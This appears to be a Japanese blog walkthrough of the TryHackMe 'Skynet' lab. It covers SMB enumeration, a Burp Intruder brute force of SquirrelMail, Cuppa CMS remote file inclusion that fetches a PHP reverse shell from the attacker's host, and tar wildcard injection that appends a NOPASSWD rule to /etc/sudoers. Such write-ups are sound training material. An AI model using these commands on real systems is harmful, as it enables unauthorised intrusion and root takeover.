12th LAB

👩🏿‍💻TryHackmeのSkynetを攻略する

今回はTryHackMeのSkynetを攻略していきます。

スキャニング

まずはnmapを使ってスキャニングしていきます。

$ nmap -sC -sV 10.10.174.150

image block

気になるところとしてはSSH、HTTP、SMBのサービスが起動しています。

まずはHTTP、つまりWebサイトの調査をしていくことにします。

Webサイトの調査

gobusterを使ってWebサイトのページ、ディレクトリを調査していきます。

$ gobuster dir -u http://10.10.174.150/ -w /usr/share/wordlists/dirb/common.txt

image block

いくつかのページがあるので1つ1つブラウザで確認していきいます。そこで気になるのが /squirrelmail のページです。ログイン画面がありますね。

image block

ID : admin Password : admin といった予測可能なIDとPasswordを試してみましたが、ログインできませんでした。

調査が煮詰まったので、今度はSMBの調査をしてみます。

SMBの調査

まずはsmbmapでSMBの共有マウントを確認していきます。

smbmap -H 10.10.174.150

image block

anonymousがあるので、ログインしてみます。

ファイルとディレクトリがあります。

smbclient //10.10.174.150/anonymous

image block

まずは attention.txt をダウンロードします。そしてlogsディレクトリにも移動しています。

image block

smb: \> dir
  .                                   D        0  Fri Nov 27 01:04:00 2020
  ..                                  D        0  Tue Sep 17 16:20:17 2019
  attention.txt                       N      163  Wed Sep 18 12:04:59 2019
  logs                                D        0  Wed Sep 18 13:42:16 2019

                9204224 blocks of size 1024. 5831068 blocks available
smb: \> get attention.txt
getting file \attention.txt of size 163 as attention.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \> cd logs

logsディレクトリ内にもファイルがあるのでダウンロードしておきましょう。

smb: \> cd logs
smb: \logs\> dir
  .                                   D        0  Wed Sep 18 13:42:16 2019
  ..                                  D        0  Fri Nov 27 01:04:00 2020
  log2.txt                            N        0  Wed Sep 18 13:42:13 2019
  log1.txt                            N      471  Wed Sep 18 13:41:59 2019
  log3.txt                            N        0  Wed Sep 18 13:42:16 2019
get 
                9204224 blocks of size 1024. 5831064 blocks available
smb: \logs\> get log1.txt
getting file \logs\log1.txt of size 471 as log1.txt (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
smb: \logs\>

image block

ダウンロードした attention.txtlog1.txt を見てみます。

そうすると最近パスワードが変更されたという案内文とパスワード履歴のようなものがあります。

案内文を書いたのは Miles Dyson のため、milesdyson というIDと log1.txtのパスワード履歴(っぽい文字列)を用いて squirrelmail のログインを試みてみることにします。

パスワードクラッキング

さて、ログイン検証ですが、手作業でやってもいいのですが、今回はBurpSuiteでやってみることにします。

リクエストをキャプチャして、Intruderに送ります。

Intruderでパスワードの部分をパラメータ化します。

image block

Payloadsタブで log1.txt を選択します。

そして Start attack ボタンを押します。

image block

少し待つと結果が出力されます。

1つだけLengthが違うリクエストがあります。

image block

実際にブラウザでログインを試してみるとログインできました。

image block

ログイン後の画面

image block

メールの調査

ログインして、メールを確認していきます。

1通のメールでSMBのパスワードが取得できました。

image block

次はSMBのログインを試みます。

SMBの調査

ID : milesdyson と 取得したパスワードでsambaにログインを試みてみます。

smbclient //10.10.174.150/milesdyson -U milesdyson

image block

ログインするといくつかのファイルとディレクトリがあるので確認していきます。

そのうちの1つに important.txt という怪しいファイルがあるのでダウンロードしておきます。

image block

image block

ダウンロードした important.txt の中を見てみると隠しページの情報がありました。

隠しページの調査

隠しページにブラウザでアクセスしてみます。

image block

特に情報はないので、gobusterでWebサイトの調査をしていきます。

$ gobuster dir -u http://10.10.174.150/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirb/common.txt

image block

/administorator といういかにも怪しいページが見つかりました。

今度はこのページを調査していきましょう。

隠し管理者ページの調査

まずはブラウザでアクセスしてみます。

image block

そうするとログインが画面が表示されました。またこのページは cuppa cms というアプリケーションが使われているようです。

アプリケーション名がわかったので脆弱性があるか確認してみます。

$ searchspoloit cupa cms

image block

脆弱性が見つかりました。脆弱性は Local / Remote File Inclusion です。

脆弱性を使って侵入

脆弱性が見つかったのでこの脆弱性を使って侵入することを考えてみます。

まずはこの脆弱とexploitに関する情報を確認するため、ファイルをダウンロードします。

$ searchsploit -m php/webapps/25971.txt

image block

25971.txt を確認すると exploit 例が記載されています。urlConfig に実行するファイルを記載するようです。

image block

まずは試しに2つ目のexploitを試してみます。

image block

そうすると /etc/passwd が出力されました。Webサーバ用意してそこにリバースシェルのファイルを置いて同じに実行することでリバースシェルができそうです。

よって、リバースシェルファイルの用意、Webサーバの用意、待ち受けポートの作成をしてブラウザから実行をしてみることにします。

まずはリバースシェルファイルです。

$ wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

リバースシェルファイルの中身を環境に合わせて編集します。

image block

次に新しいタブを用意してWebサーバを用意します。

このコマンドはリバースシェルファイルがあるディレクトリで実行します。

$ python3 -m http.server 80

さらに新しいタブを用意してリバースシェルの待受けポートを作成します。

$ nc -lvnp 1234

そして脆弱性を突いてリバースシェルファイルを実行します

http://10.10.174.150/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.9.80.126/php-reverse-shell.php

リバースシェルがうまく行けば侵入完了です。

image block

権限昇格

侵入直後、アカウントは www-data のため、権限は低いです。今後は権限昇格を狙っていきます。

image block

権限昇格のための情報収集としてまずは sudo -l を実行してみましたが、使えそうにありません。つづいて crontab を確認したところ backup.sh が定期的に動いています。

image block

backup.sh を確認してみます。

tarコマンドで /var/www/html/フォルダ配下すべてをバックアップしています。

image block

ワイルドカードインジェクションが使えそうです。

現在のユーザである www-data をsudersファイルに登録してsudoが使えるようにしていきます。

ワイルドカードインジェクションの説明はここです。

まずは実行させたいコマンドをシェルスクリプトとして作成します。viが使えないのでechoを使ってファイルを作成します。

$ cd /var/www/html/
$ echo 'echo "www-data ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > sudo.sh

ファイル名が --checkpoint-action=exec=sh sudo.sh および --checkpoint=1 になるようにファイルを作成します。これはbackup.sh実行時に tarコマンドのオプションとして認識され実行されます。

$ touch -- "--checkpoint-action=exec=sh sudo.sh"
$ touch -- "--checkpoint=1"

image block

backup.shが1分ごとに実行されているため、1分ほど待ってsudoコマンドを実行してみます。

権限昇格がうまく行っていれば rootになっており、root.txtの中身が見れるようになります。

$ sudo su

image block